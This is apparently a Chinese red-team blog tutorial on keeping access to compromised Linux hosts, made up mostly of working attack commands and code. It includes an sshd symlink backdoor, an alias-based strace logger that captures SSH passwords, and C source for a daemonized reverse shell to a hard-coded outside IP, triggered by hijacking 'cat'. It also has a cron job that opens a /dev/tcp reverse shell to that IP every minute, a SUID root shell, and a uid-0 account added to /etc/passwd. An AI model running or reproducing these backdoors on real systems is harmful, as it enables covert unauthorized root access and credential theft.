总述

本文讲解了 Linux 环境下的 常规的 权限维持 手法。

1. SSH 后门 - 漏洞
2. Linux Pam 后门 - 漏洞
3. Alias 后门
4. Crontab 计划任务
5. Setuid、Setgid
6. 后门账户

1. SSH后门

1) 软链接SSHd

输入任意密码就可以以 root 用户权限登陆,如果 root 用户被禁止登陆时,可以利用其他存在的用户身份登陆。

1、创建软链接后门

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345

- /usr/sbin/sshd → 这是 OpenSSH 服务的服务器端程序(Secure Shell Daemon)。
- ln -sf → 在 /tmp 下建立一个软链接,指向原本的 sshd,并取名 su(容易混淆,因为系统 /bin/su 是切换用户的命令)。
- /tmp/su -oport=12345 → 实际上就是启动了一个 新的 sshd 服务进程,监听在本地 12345 端口。


/tmp/su -oPort=12345 这一步才是核心。
	sshd 在启动时会读取 /etc/ssh/sshd_config 的配置文件。
	但是 OpenSSH 支持在命令行用 -o 参数来覆盖配置文件里的设置。
	
	sshd -oPort=12345 -oPermitRootLogin=yes -oPasswordAuthentication=yes
		就等于临时启了一个新的 sshd 进程,监听在 12345 端口,并且允许 root 用密码登录。
	
	也就是说:
		攻击者可以在不用改 /etc/ssh/sshd_config 的情况下,直接运行一个“自定义配置”的 sshd 实例。

2、连接后门

ssh [email protected] -p 12345 -P saiufyhioashfi(密码 -> (随便输入))

- ssh [email protected] -p 12345 → 直接用 SSH 客户端连接这个新开的 sshd 服务。

Pasted image 20250823183155.png

Pasted image 20250823183144.png

2) SSH Key

最常见的写 公私钥 了。
	最初出现在 文件传输 - SCP。
		最好是 本地生成公私钥,然后把 公钥 内容 >> 重定向追加到服务器的 ~/.ssh/authorized_keys 文件当中。 
详细可参考 Linux - SSH - SSH 证书免密 一文。

1、生成私钥和公钥

ssh-keygen -t rsa

Pasted image 20250823183437.png

Pasted image 20250823183519.png

Pasted image 20250810174039.png

2、将公钥复制到目标服务器

# 存放到服务器的这个路径

# 创建 SSH 目录(如无)
mkdir -p ~/.ssh
chmod 700 ~/.ssh

# 把公钥写入 authorized_keys
echo "你的公钥内容" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

3、重启ssh服务

service ssh restart

4、免密登录

ssh [email protected] -i 私钥文件

- 私钥文件正确放置在了 C:\Users\用户\.ssh\ 目录下的话都不许指定,可直接连接。

Pasted image 20250810174540.png

详细可参考 Linux - SSH - SSH 证书免密 一文。

进阶

1. 更改authorized_keys文件时间
touch -r 参考文件 authorized_keys

如:
touch -r /www/wwwroot/upload.zip authorized_keys

Pasted image 20250823184454.png

3)SSH Keylogger(重看视频)

strace常用来跟踪进程执行时的系统调用和所接收的信号。
	在Linux世界,进程不能直接访问硬件设备,当进程需要访问硬件设备(比如读取磁盘文件,接收网络数据等等)时,必须由用户态模式切换至内核态模式,通过系统调用访问硬件设备。

strace 可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间。
SSH 连接输入密码时的密码无论错误或者正确都能记录到 log 里。
编辑当前用户下的 .bashrc 文件,在配置文件末尾添加:
	alias ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'

Pasted image 20250823185243.png

如此,便可在结果当中监视到当前用户其他终端下的关于 SSH 相关的命令。

Pasted image 20250823185615.png

Pasted image 20250823185625.png

Pasted image 20250823185632.png

2. Linux PAM 后门

滚一边去

so 文件劫持,值得一说。
	看看操作复述一遍得了,实操别干。

3. Alias后门

通过 alias 来指定执行特定的命令时候静默运行其他程序,从而达到启动后门,记录键值等作用。

1)记录监听

修改ssh命令,利用strace,使其具有记录ssh对read,write,connect调用的功能。
	alias ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'

2)反弹Shell

0、shell.c

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <time.h>
#include <fcntl.h>
#include <string.h>
#include <sys/stat.h>
#include <signal.h>

#define ERR_EXIT(m) do { perror(m); exit(EXIT_FAILURE); } while (0);

void creat_daemon(void);

int main(void)
{
    time_t t;
    int fd;
    
    creat_daemon();
    system("/bin/rm /bin/sh;/bin/ln -s /bin/bash /bin/sh");
    // 修改下方的 IP 和 Port,反弹 Shell
    system("/bin/bash -i >& /dev/tcp/120.55.169.128/8088 0>&1");
    
    return 0;
}

void creat_daemon(void)
{
    pid_t pid;
    int devnullfd, fd, fdtablesize;
    
    umask(0);
    
    pid = fork();
    if (pid == -1)
        ERR_EXIT("fork error");
    
    if (pid > 0)
        exit(EXIT_SUCCESS);
    
    if (setsid() == -1)
        ERR_EXIT("SETSID ERROR");
    
    chdir("/");
    
    /* close any open file descriptors */
    for (fd = 0, fdtablesize = getdtablesize(); fd < fdtablesize; fd++)
        close(fd);
    
    devnullfd = open("/dev/null", 0);
    
    /* make STDIN ,STDOUT and STDERR point to /dev/null */
    if (devnullfd == -1) {
        ERR_EXIT("can't open /dev/null");
    }
    if (dup2(devnullfd, STDIN_FILENO) == -1) {
        ERR_EXIT("can't dup2 /dev/null to STDIN_FILENO");
    }
    if (dup2(devnullfd, STDOUT_FILENO) == -1) {
        ERR_EXIT("can't dup2 /dev/null to STDOUT_FILENO");
    }
    if (dup2(devnullfd, STDERR_FILENO) == -1) {
        ERR_EXIT("can't dup2 /dev/null to STDOUT_FILENO");
    }
    
    signal(SIGCHLD, SIG_IGN);
    
    return;
}

1、编译代码

gcc shell.c -o /tmp/.shell

Pasted image 20250823220823.png

2、添加alias别名

# 在终端当中执行命名(不写进 .bashrc 等文件的话),那么该别名仅对 当前终端 命名。
alias cat='/tmp/.shell && cat'

Pasted image 20250823220836.png

3、监听端口接收shell

nc -lvvp 8088

Pasted image 20250823220953.png

Pasted image 20250823221018.png

4. Crontab 后门

1.服务开启
service crond start

2.编辑计划任务
crontab -e -u 用户名

3.查看计划任务
crontab -l -u 用户名

4.删除计划任务:
crontab -r -u 用户名

root@kali:~# crontab -h
crontab -h
usage:  crontab [-u user] [-n] file
        crontab [ -u user ] [ -i ] { -e | -l | -r }

        -h      (displays this help message)

        file    (default operation is replace, per 1003.2)
        -n      (dry run: checks the syntax, then bails out)
        -u user (choose the user whose crontab is touched)

        -e      (edit user's crontab)
        -l      (list user's crontab)
        -r      (delete user's crontab)

        -i      (prompt before deleting user's crontab)

# 相关文件
/var/spool/cron/用户名 # 用户定义的设置
/var/spool/cron/crontabs
/var/log/cron # cron服务的日志文件
/etc/crontab # cron服务配置文件

Pasted image 20250823221627.png

每分钟反弹一次shell给指定ip的8088端口
(crontab -l;echo '*/1 * * * * exec 9<> /dev/tcp/120.55.169.128/8088;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -

Pasted image 20250823221235.png

Pasted image 20250823221356.png

5. Setuid 和 Setgid

1)setuid

定义

	当一个程序具有setuid权限时,即使该程序是由普通用户启动的,它也会以该程序文件所有者的权限运行。这意味着程序可以访问所有者可以访问的文件和资源。

用途

	setuid通常用于需要临时提升权限的程序,例如passwd、su等。这些程序需要修改系统文件或执行需要管理员权限的操作。

风险

	滥用setuid权限可能导致安全问题,因为它允许普通用户执行通常只有root用户才能执行的操作。因此,只有在绝对必要时才应该使用setuid。

2)setgid

定义

	类似于setuid,setgid允许程序在执行时以文件所属组的权限运行。这意味着程序可以访问该组可以访问的文件和资源。
```QiaoShen
#### 用途

```QiaoShen
	setgid通常用于需要访问特定组文件的程序,例如一些共享资源或多用户应用程序。

风险

	与setuid类似,setgid也可能带来安全风险,因为它允许程序访问可能不应该访问的文件。

3) 利用

0、back.c

程序使用setuid和setgid函数设置自己的用户ID和组ID为0(通常是root用户的ID)
#include <unistd.h>

void main(int argc, char *argv[])
{
    setuid(0);
    setgid(0);
    
    if (argc > 1)
        execl("/bin/sh", "sh", "-c", argv[1], NULL);
    else
        execl("/bin/sh", "sh", NULL);
}

1、编译程序

gcc back.c -o /tmp/back

Pasted image 20250823222836.png

2、将编译好的程序复制到/bin目录

cp /tmp/back /bin/

Pasted image 20250823222843.png

3、给程序添加SUID权限

chmod u+s /bin/back

Pasted image 20250823223000.png

4、实现 - 在普通用户权限下执行back即可得到root权限

Pasted image 20250823223132.png

6. 后门账号

创建后门账号是一种常见的持久化攻击手段,攻击者通过在系统中添加隐藏账号来长期维持对目标系统的访问。

1、生成加密密码

使用Perl脚本和crypt函数生成加密后的密码
	"QiaoShen" 是明文密码,"QiaoShenSalt"是盐值(salt)

perl -e 'print crypt("QiaoShen","QiaoShenSalt")."\n"'
↓
QiDobGEC4kmIc

Pasted image 20250823223501.png

2、添加用户到/etc/passwd文件

echo "weblogic1:QiDobGEC4kmIc:0:0:root:/root:/bin/bash" >> /etc/passwd

Pasted image 20250823223752.png

因为 uid、gid 为0,那就是 root,甚至其实 uid 是 0 那就是 root,所以登录 weblogic1 以后其实就是 root 用户。

	前面的是 uid,后面的是 gid,是否拥有 root 权限重点在于前面的 uid 是否为 0,代表着是否拥有 root 的权限,uid 不为0、gid为0 也没啥用。
		uid 为 0,gid 不为0,拥有 root 权限,登陆了也就是 root 用户。
		uid 为 0,gid 为0,就是root用户,登陆了也是root用户。

Pasted image 20250823223924.png

文章作者: QiaoShen
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 QiaoShen-World
红队实践 Linux 权限维持
喜欢就支持一下吧